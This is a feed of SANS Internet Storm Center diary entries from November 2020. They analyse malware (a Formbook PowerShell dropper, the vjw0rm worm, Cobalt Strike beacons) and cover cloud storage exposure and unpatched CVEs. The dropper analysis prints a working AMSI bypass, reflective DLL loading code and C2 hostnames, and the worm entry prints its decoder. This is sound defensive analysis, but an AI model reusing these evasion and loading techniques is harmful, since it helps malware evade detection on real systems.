SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 2 óra 58 perc
2020. november 23.

Quick Tip: Cobalt Strike Beacon Analysis, (Mon, Nov 23rd)

Several of our handlers, like Brad and Renato, have written diary entries about malware infections that involved the red team framework Cobalt Strike.

In this diary entry, I'll show you how you can quickly extract the configuration of Cobalt Strike beacons mentioned in these 2 diary entries:

  1. Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike
  2. Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike

The configuration of a beacon is stored as an encoded table of type-length-value records. There are a couple of tools to analyze Cobalt Strike beacons, and I recently made my own tool 1768.py public.

The analysis of the sample that Brad mentioned in his diary entry (1) is simple:

In the screenshot above, you can see all the records of the decoded configuration of this sample. Records that you might be most interested in as an analyst, are the server record, the port record and the URL used with GET and POST (highlighted in red).

In Renato's diary entry (2), there are 2 artifacts to analyze.

There's the shellcode: Renato explained how to deal with the different layers of obfuscation of this shellcode.

Here I use different of my tools to deobfuscate the shellcode, and then pass it on to my 1768.py tool:

The payload downloaded by this shellcode is easy to analyze:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 23.

ISC Stormcast For Monday, November 23rd 2020 https://isc.sans.edu/podcastdetail.html?id=7264, (Mon, Nov 23rd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 22.

Quick Tip: Extracting all VBA Code from a Maldoc - JSON Format, (Sun, Nov 22nd)

In diary entry "Quick Tip: Extracting all VBA Code from a Maldoc" I explain which options to use with oledump.py to extract all VBA code with a single command.

I promised that I would update oledump.py so that it can also produce JSON output with all VBA code.

This is now done with version 0.0.55. Existing option -j (--json) produces a JSON object with the content (base64 encoded) of each stream found inside the analyzed ole file. Combining option -j and -v produces a JSON object with the VBA code (base64 encoded) of each stream module found inside the analyzed ole file:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 21.

VMware privilege escalation vulnerabilities (CVE-2020-4004, CVE-2020-4005) - https://www.vmware.com/security/advisories/VMSA-2020-0026.html, (Sat, Nov 21st)

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 20.

Malicious Python Code and LittleSnitch Detection, (Fri, Nov 20th)

We all run plenty of security tools on our endpoints. Their goal is to protect us by preventing infection (or trying to prevent it). But all those security tools are present on our devices like normal applications and are, therefore, easy to detect. Techniques to detect the presence of such security tools are multiple:

  • Detecting processes
  • Detecting windows (via the title)
  • Detecting configuration (files or registries)
  • Detecting injected DLL
  • Detecting debuggers
  • ...

Those techniques remain the same on every operating system (with some deviations of course - the registry is specific to Windows). I found a malicious script targeting macOS computers which implements a very basic check to detect the presence of LittleSnitch[1]. This tool is very popular amongst Apple users. It detects and reports all attempts to connect to the Internet by applications (egress traffic). For malware, it's important to stay stealthy and the presence of LittleSnitch could reveal an attempt to connect to a C2 server.

I spotted a simple Python script (SHA256:e5eb6d879eaca9b29946a9e5b611d092e0cce3a9821f2b9e0ba206ac5b375f8b) part of a red-team exercise, that tris to detect the presence of LittleSnitch:

cmd = "ps -ef | grep Little\ Snitch | grep -v grep" ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) out = ps.stdout.read() ps.stdout.close() if re.search("Little Snitch", out): sys.exit()

Simple but effective!

[1] https://www.obdev.at/products/littlesnitch/index.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 20.

ISC Stormcast For Friday, November 20th 2020 https://isc.sans.edu/podcastdetail.html?id=7262, (Fri, Nov 20th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 19.

PowerShell Dropper Delivering Formbook, (Thu, Nov 19th)

Here is an interesting PowerShell dropper that is nicely obfuscated and has anti-VM detection. I spotted this file yesterday, called 'ad.jpg' (SHA256:b243e807ed22359a3940ab16539ba59910714f051034a8a155cc2aff28a85088). Of course, it's not a picture but a huge text file with Base64-encoded data. The VT score is therefore interesting: 0/61![1]. Once decoded, we discover the obfuscated PowerShell code. Let's review the techniques implemented by the attacker.

First, we see this at the very beginning of the script:

[Ref].Assembly.GetType('System.Management.Automation.'+$([CHAr]([Byte]0x41)+[ChAr]([bYTe]0x6D)+[Char](82+33)+\ [ChAr]([BYTe]0x69))+'Utils').GetField($([SyStEM.Net.WEBUTilItY]::htMLdeCode('amsiI \ nitFailed')),'NonPublic,Static').SetValue($null,$true);

Which is deobfuscated into:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils.amsiInitFailed)),'NonPublic,Static').SetValue($null,$true);

This piece of code comes from the PoSHBypass[2] project. It's a  proof of concept that allows an attacker to bypass PowerShell's Constrained Language Mode, AMSI and ScriptBlock, and Module logging.

Then, classic behaviour, we have an obfuscation of the Invoke-Expression cmdlet:

$ZER0HRFGEPXLGAJHCZYNIFQKWXNPYMID='MEX'.replace('M','I'); sal g $ZER0HRFGEPXLGAJHCZYNIFQKWXNPYMID;

This code will make 'g' an alias of Invoke-Expression. This is used immediately to decode and execute the following chunk of data:

[Byte[]]$IMAGE_NT_HEADERS=('@1F,@8B,@08,@00,@00,@00,@00,@00,@04,@00,@ED,@BD,@07,@60,@1C,@49,@96,@25,@26,@2F,@6D,@CA,@7B,@7F,@4A, @F5,@4A,@D7,@E0,@74,@A1,@08,@80,@60,@13,@24,@D8,@90,@40,@10,@EC,@C1,@88,@CD,@E6,@92,@EC,@1D,@69,@47, @23,@29,@AB,@2A,@81,@CA,@65,@56,@65,@5D,@66,@16,@40,@CC,@ED,@9D,@BC,@F7,@DE,@7B,@EF,@BD,@F7,@DE,@7B, @EF,@BD,@F7,@BA,@3B,@9D,@4E,@27,@F7,@DF,@FF,@3F,@5C,@66,@64,@01,@6C,@F6,@CE,@4A,@DA,@C9,@9E,@21,@80, ... @34,@6F,@8F,@7E,@8D,@1F,@23,@18,@C7,@CC,@FF,@18,@F3,@84,@A0,@83,@EB,@FB,@70,@EE,@D3,@BB,@BB,@0A,@6B, @C7,@D2,@E4,@47,@CF,@FF,@B7,@9E,@5F,@E3,@E5,@AF,@43,@5C,@4C,@72,@77,@FF,@FF,@63,@78,@FF,@E8,@F9,@46, @9E,@FF,@07,@78,@61,@2A,@8D,@00,@42,@04,@00,@00'.replace('@','0x'))| g;

The result string is passed to the following function:

function JAPFYAQPECMKYQNLCJXCOFSVYMER { [CmdletBinding()] Param ([bYte[]] $VDLXLPBUCEUOIHNKREBMWCWEFMERbyteARRay) Process { $WRSWRLDCDXEUUYFBJUWQZJSDGMERiNput = New-Object System.IO.MemoryStream( , $VDLXLPBUCEUOIHNKREBMWCWEFMERbyteARRay ) $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut = New-Object System.IO.MemoryStream $PHQDSFCPEMOPKRYRNBGRTBCCIMERPAGE_EXECUTE_READWRITE = New-Object System.IO.Compression.GzipStream $WRSWRLDCDXEUUYFBJUWQZJSDGMERiNput, ([IO.Compression.CompressionMode]::Decompress) $EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL = New-Object bYtE[](1024) while($tRUe){ $BBYRATZNTGIAUBPDRVBIQAMRDMERREread = $PHQDSFCPEMOPKRYRNBGRTBCCIMERPAGE_EXECUTE_READWRITE.Read($EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL, 0, 1024) if ($BBYRATZNTGIAUBPDRVBIQAMRDMERREread -lE 0){bReAk} $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut.Write($EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL, 0, $BBYRATZNTGIAUBPDRVBIQAMRDMERREread) } [bYte[]] $QTXDBVKLTJMGOACBLEIVSJSQHMIDouT = $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut.ToArray() } }

It will uncompress the buffer and generate a DLL (SHA256:A7D74BE8AF1645FBECFC2FE915E0B77B287CE09AD3A7E220D20794475B0401F9) which is not present on VT at this time. This DLL is injected in the PowerShell process:

[bYte[]]$decompressedByteArray = JAPFYAQPECMKYQNLCJXCOFSVYMER $IMAGE_NT_HEADERS $t=[System.Reflection.Assembly]::Load($decompressedByteArray)

Then, another chunk of data is decoded:

[Byte[]]$HNAUVVBGYKNXXMOTZHSTOHTKRMID=('@4D,@5A,@45,@52,@E8,@00,@00,@00,@00,@58,@83,@E8,@09,@8B,@C8,@83,@C0,@3C,@8B,@00,@03,@C1,@83,@C0,@28,@03,@08, @FF,@E1,@90,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00, @00,@00,@00,@00,@00,@00,@C0,@00,@00,@00,@0E,@1F,@BA,@0E,@00,@B4,@09,@CD,@21,@B8,@01,@4C,@CD,@21,@54,@68,@69, @73,@20,@70,@72,@6F,@67,@72,@61,@6D,@20,@63,@61,@6E,@6E,@6F,@74,@20,@62,@65,@20,@72,@75,@6E,@20,@69,@6E,@20, ... 0,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00'.replace('@','0x'))| g

This is the main payload dropped by the Powershell (SHA256:A07AE0F8E715E243C514B8DA6FD83C5955E1C8EDE5EEBF4D6494EE97443AAD95). Same here, it's not available on VT yet.

The payload is executed via the following code:

[QuotingUtilities]::SplitUnquoted('control.exe',$HNAUVVBGYKNXXMOTZHSTOHTKRMID)

This function is provided by the injected DLL:

This function implements an interesting anti-VM check that, if running in a virtualized environment, stop the Powershell and prevent the payload to be executed:

Note that I don't know why a popup message is displayed. The goal of malware is to operate below the radar... (maybe the code is still being debugged by the attacker?)

Here is how the VMware environment is detected:

(Maybe there are other tests performed but I did not investigate further)

The DLL is also obfuscated with a tool that I never met before:

If you have more information about this "Zephyrus Protector" tool, please share with me!

The Formbook sample tries to contact the following hosts:

www[.]zenhalklailiskiler[.]online 
www[.]insights-for-instagram[.]com 
www[.]ketaminetherapycalgary.com 
www[.]forwardslashdevelopment[.]com 
www[.]arikmertelsanatlari[.]xyz
www[.]bklynphotography[.]com 
www[.]experiencewinneroftheyear[.]com 
www[.]kansas-chiefs[.]com 
www[.]vrefirsttime[.]com 
www[.]issahclothing[.]com 
www[.]denver-nuggets[.]club 
www[.]wwwhookeze[.]com
www[.]moxieadvice[.]com 
www[.]gangtayvietnam[.]com 
www[.]cosmosguards[.]com 
www[.]magentx2[.]info

[1] https://www.virustotal.com/gui/file/b243e807ed22359a3940ab16539ba59910714f051034a8a155cc2aff28a85088/detection
[2] https://github.com/davehardy20/PoSHBypass

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 19.

ISC Stormcast For Thursday, November 19th 2020 https://isc.sans.edu/podcastdetail.html?id=7260, (Thu, Nov 19th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 18.

When Security Controls Lead to Security Issues, (Wed, Nov 18th)

The job of security professionals is to protect customers' assets and, even more, today, customers' data. The security landscape is full of solutions that help to improve security by detecting (and blocking) threats knocking on the organizations' doors. Sometimes, such solutions have side effects that go to the opposite direction and make customers more vulnerable to attacks.

Here is a perfect example of security control that could lead to a critical issue. I was looking for data in VT and launched a retro search based on a simple YARA rule (I was just looking for a simple string). As usual, a retro search generates a lot of noise but I always have a look at all files, just in case... I found several emails (EML files) that contained juicy information (translated, the mail was issued from a German company):

Hello Thomas, the mail (see below) unfortunately did not go through. I uploaded two files to the Owncloud because they were too big. These are stored in folder <redacted> OwnCloud access data:

Guess what? The next three lines of the body contained:

  • The ownCloud URL
  •  The login and password!

Note: the URL was valid but credentials were of course NOT tested (never try this!)

I found several emails from this company and EML files were submitted always from the same API ID and from Germany. This security control was probably implemented to submit automatically suspicious emails to VT. 

When a customer asks me to have a look at their security posture, I always search for leaked data (from leaked databases, from VT, etc). And, most of the time, it works! It's so easy to find valid credentials to connect to an OWA, VPN, or services like, here, an ownCloud instance.

Based on the example above, some good old reminders:

  • From a user perspective:
    • Do NOT share credentials via emails. Don't forget that emails are relayed through many relays to reach your contact and SMTP is a clear text protocol by default and NOT reliable (your email can be delayed and stored on a server while retrying to deliver it).
    • Encrypt your emails.
    • Share passwords via alternative communication channels (pick up your phone and talk to people).
  • From a sysadmin or security perspective:
    • When implementing security controls, think about the type of data that will be processed (and stored!).
    • Anonymize and sanitize data before sending them to a cloud service.
    • Don't rely only on login/password, implement 2FA when possible! (in this example, ownCloud does)

Stay safe!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 18.

ISC Stormcast For Wednesday, November 18th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7258, (Wed, Nov 18th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 17.

ISC Stormcast For Tuesday, November 17th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7256, (Tue, Nov 17th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 16.

Heartbleed, BlueKeep and other vulnerabilities that didn't disappear just because we don't talk about them anymore, (Mon, Nov 16th)

Since new critical vulnerabilities are discovered and published nearly every day, it is no wonder that we (i.e. security professionals and security-oriented media) tend to focus on these and don’t return to the ones that came before too often. Unless there is a massive exploitation campaign, that is. This doesn’t present any problems for organizations, which manage to patch vulnerabilities on time, but for many others the “historical” vulnerabilities, which are not talked about anymore, still pose clear and present danger.

In my last post, we looked at the number of machines connected to the internet, which are still affected by CVE-2020-0796, also known as SMBGhost. Since the number was surprisingly high[1], it got me thinking about how high the numbers might be for other (and older) high-impact vulnerabilities.

Since I don’t have access to any tool, which would come even close to the ability of the Carna botnet to scan the entire internet in reasonable time[2], I’ve decided to go with Shodan once again and ask it for the numbers of machines vulnerable to specific CVEs.

To this end, I’ve put together a list of about a hundred high-impact vulnerabilities, which were discovered before 2020 and which might potentially be scanned for by Shodan. The list was mostly made up of relevant vulnerabilities from different “Top CVEs” lists[3,4] and vulnerabilities I found to be interesting in my previous searches. The list was therefore far from comprehensive, but I do believe the results for the top 10 most common vulnerabilities it included are worth a look.

CVE Number of affected systems CVSSv3 CVE-2019-0211 3357835 7.8 CVE-2019-12525 1219716 9.8 CVE-2015-1635 374113 N/A, CVSSv2 10.0 CVE-2019-13917 268409 9.8 CVE-2019-10149 264655 9.8 CVE-2019-0708 246869 9.8 CVE-2014-0160 204878 7.5 CVE-2019-9787 83951 8.8 CVE-2019-12815 80434 9.8 CVE-2018-6789 76344 9.8

The numbers reported by Shodan were generally higher than I would have expected. Nevertheless, although it is true that Shodan results aren’t necessarily fully up to date or completely accurate, I’ve tried to validate a small subset of the detections manually with relevant Nmap scripts (those, which were not too intrusive) and most of my findings agreed with the results Shodan provided.

Although all the CVEs listed in the table are certainly noteworthy, the ones which I was particularly surprised to see, given their prior media coverage, were:

  • CVE-2015-1635, a RCE in IIS web server, for which it – quite fortunately – appears that no one published a full exploit so far – all the available PoCs seem to lead “only” to information leakage and DoS[5],
  • CVE-2019-10149, an RCE in Exim MTA, which was mentioned in – among other places – an NSA advisory warning against its active exploitation by a Russian APT group earlier this year[6], and perhaps most surprisingly
  • CVE-2019-0708, dubbed BlueKeep, along with a historical favorite
  • CVE-2014-0160, also known as Heartbleed.

Especially the results for the last two vulnerabilities show that even very well-known vulnerabilities are sometimes left unpatched for years on end.

Unfortunately, I don’t have data for the historical development of the number of machines affected by Hearbleed, but I can offer you a look at how the numbers changed for BlueKeep over the last 12 months.

Although, as the chart shows, there has been a significant absolute as well as relative decline in the number of BlueKeep-affected machines accessible from the internet, there still appear to be over 240 000 of them. Given how dangerous and well known BlueKeep is, it rather begs the question of how many other, less well-known critical vulnerabilities are still left unpatched on a similar number of systems.

And since any of these might potentially come back to haunt us one day, this would seem to be a question worth asking…

[1] https://isc.sans.edu/diary/26732
[2] https://en.wikipedia.org/wiki/Carna_botnet
[3] https://www.cvebase.com/cve/pocs
[4] https://us-cert.cisa.gov/ncas/alerts/aa20-133a
[5] https://www.trendmicro.com/en_us/research/15/e/iis-at-risk-an-in-depth-look-into-cve-2015-1635.html
[6] https://us-cert.cisa.gov/ncas/current-activity/2020/05/28/nsa-releases-advisory-sandworm-actors-exploiting-exim

-----------
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 16.

ISC Stormcast For Monday, November 16th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7254, (Mon, Nov 16th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 15.

oledump's &#x21; Indicator, (Sun, Nov 15th)

In diary entry "AV Cleaned Maldoc" I analyze a malicious document with VBA code that has been removed by anti-virus.

As the VBA code has been wiped, no M or m indicators are present:

I've updated my oledump.py to add a ! indicator for such streams:

I also compiled an overview of oledump's indicators.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 13.

Old Worm But New Obfuscation Technique, (Fri, Nov 13th)

Yesterday I found an interesting JavaSvript script delivered through a regular phishing campaign (SHA256:70c0b9d1c88f082bad6ae01fef653da6266d0693b24e08dcb04156a629dd6f81) and has a VT score of 17/61[1]

The script obfuscation is simple but effective: the malicious code is decoded and passed to an eval() function to be executed:

function wrwrwrwererw(iyuiyiyuiyiyyui,jljkljkllljkllklklkj) { var wqwqsdasda; var popopoppop=""; var xxxxxxxzzzzzzzzzz=(iyuiyiyuiyiyyui+"").split(""); var rwerwwrwrww0=(jljkljkllljkllklklkj+"").split(""); var ererrer545=rwerwwrwrww0.length; for (var aaaaa888=0;aaaaa888<xxxxxxxzzzzzzzzzz.length;aaaaa888++){ wqwqsdasda=xxxxxxxzzzzzzzzzz[aaaaa888].charCodeAt(0); popopoppop+=String.fromCharCode(+wqwqsdasda-+1000-(ererrer545+10)); } return popopoppop; } WScript.Sleep(5000); eval(wrwrwrwererw(" <malicious_data> ", "123");

The payload is a string of Unicode characters converted one by one through the wrwrwrwererw() function.

The first character is the 'cyrillic capital letter ef' which has the decimal code 1060. The decoding is performed by the following line:

popopoppop+=String.fromCharCode(1060-1000-(3+10));

The returned char will be '/' (ASCII code 47). You don't have to decode this manually, just replace eval() by echo() and you'll get the decoded script. Let's have a look at it. The new script is also obfuscated but it remains easy to read. At the very beginning of the script, you have got this line:

var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];

It's a sample of the vjw0rm worm that was discovered for the first time in 2018! [2]. If you want to have a look at the code, a version is available on GitHub.[3]

This worm has been used multiple times in miscellaneous campaigns and it seems to be still active today. The C2 server is hxxp://dhanaolaipallets[.]com:7974/. Note that, thanks to the new obfuscation technique, the VT score remains low!

[1] https://www.virustotal.com/gui/file/70c0b9d1c88f082bad6ae01fef653da6266d0693b24e08dcb04156a629dd6f81/detection/
[2] https://www.f-secure.com/v-descs/worm_js_vjw0rm.shtml
[3] https://gist.github.com/drole/c22fd13f524f2843c004ecabbce84bb5

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 13.

ISC Stormcast For Friday, November 13th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7252, (Fri, Nov 13th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 12.

Preventing Exposed Azure Blob Storage, (Thu, Nov 12th)

In the previous diary, I explained the three public access levels of Azure Blob Storage, and how to investigate the setup for any issues. Until a couple of months ago, there was no reliable way to prevent the problem from occurring in the first place, but thankfully, Microsoft has finally seen the light.

At the level of the Storage Account, there is now a new setting "Allow Blob Public Access", which can be set to "Disabled".  

Once disabled, the access level set on the containers within this storage account no longer matters, public unauthenticated access will always be denied:

This adds a welcome additional safety net, because the Containers within this storage account cannot be set to "public access" anymore, not even by mistake:

Even better, there is now also a "preview" rule available for this setting in Azure Policies. Go to Policies -> Definitions, then search for "Public", to find the Policy Definition named "[Preview]: Storage account public access should be disallowed". 

Click on it, select "Assign", and push it to a scope of your choice. Set the parameter to "Deny", and once the policy is active, new storage accounts can only be created in your tenant or subscription if they have public access turned off. If the corresponding setting ("Allow Blob Public Access") under the "Advanced" tab of the "Create storage account" dialog is not set to "disabled", all new storage account creation attempts will fail.

Refer to https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent and https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure for more information, how to audit for issues before pushing a "deny" rule, and any other possible side effects. But once you have this resolved and rolled out as a "deny" policy for your Azure subscription or tenant, you'll sleep better, knowing that you significantly reduced the likelyhood of accidential data breaches via exposed storage accounts in your environment.
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 12.

ISC Stormcast For Thursday, November 12th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7250, (Thu, Nov 12th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 12.

Exposed Blob Storage in Azure, (Thu, Nov 12th)

With the headline "Improperly Configured AWS S3 Bucket Exposes 10 Million Hotel Guest Records" in this week's SANS NewsBites, I wanted to shed a little light on the same problem, but in Azure.

Microsoft Azure Blob Storage is very similar to AWS S3, and comes in three access control flavors:

  • "Private" is thankfully the default. and turns off anonymous public access
  • "Blob" allows unauthenticated public access to a file, as long as you know its name
  • "Container" is the same as blob, but also allows to list the folder contents

You can check the configured access level by looking at your Azure resources, clicking on the storage accounts, and then drilling down into the storage containers present:

An access level of "Blob" can be sufficient for something like a public website. It behaves very similar to a web server - if someone knows or can guess the file name, they can access the file, no questions asked.  For business data, this level of access is dangerous though, because its "security" basically just relies on your assumption that nobody else knows or can guess the file name. More often than not, this assumption turns out to be ill-advised. Other files that you intentionally share publicly might have a similar naming structure, or you maybe are using easily guessable names to begin with. In a nutshell: If you would consider a file too sensitive to store on your public web server, don't store it in a Azure container with "Blob" access, either.

An access level of "Container" is the same as "Blob", but worse. An attacker just needs to know the name of the Storage Account itself. That's the part of the name in front of the *.blob.core.windows.net URLs that you certainly have encountered before. That name space is pretty small, because the Storage Account Name has to be unique across all Azure tenants (Microsoft Azure Customers).  While creating a new storage account, "name collisions" are therefore quite frequent:

The container name itself (one level below the storage account) only needs to be unique per storage account though, and cannot be directly enumerated. Therefore, even accounts that are exposed at access level "Container" retain a tiny modicum of security-by-obscurity, presumed that your container is indeed named obscurely. In my example shown, the container is named "logs", and would likely be discovered real quick once someone develops any interest in my "temporaryexampleonly" container. Enumerating the contents is then only one API call away, and the resulting XML/JSON is readily machine parseable to extract the URLs of all the files in the container. Once the file and path names are known, the files can be obtained even if the access level is later changed back to "Blob".


One way to quickly find out if you have exposed Containers in your Azure Storage setup is to use Azure Security Center (ASC).  Even at the "Free" tier, you will see recommendations like these:

If your ASC displays this recommendation for any of your storage accounts, take it seriously, and investigate if the flagged resource is public-by-design, or public-by-mistake. 

In the next diary, I'm going to show how you can reliably prevent the problem from occurring in the first place.
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 11.

ISC Stormcast For Wednesday, November 11th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7248, (Wed, Nov 11th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.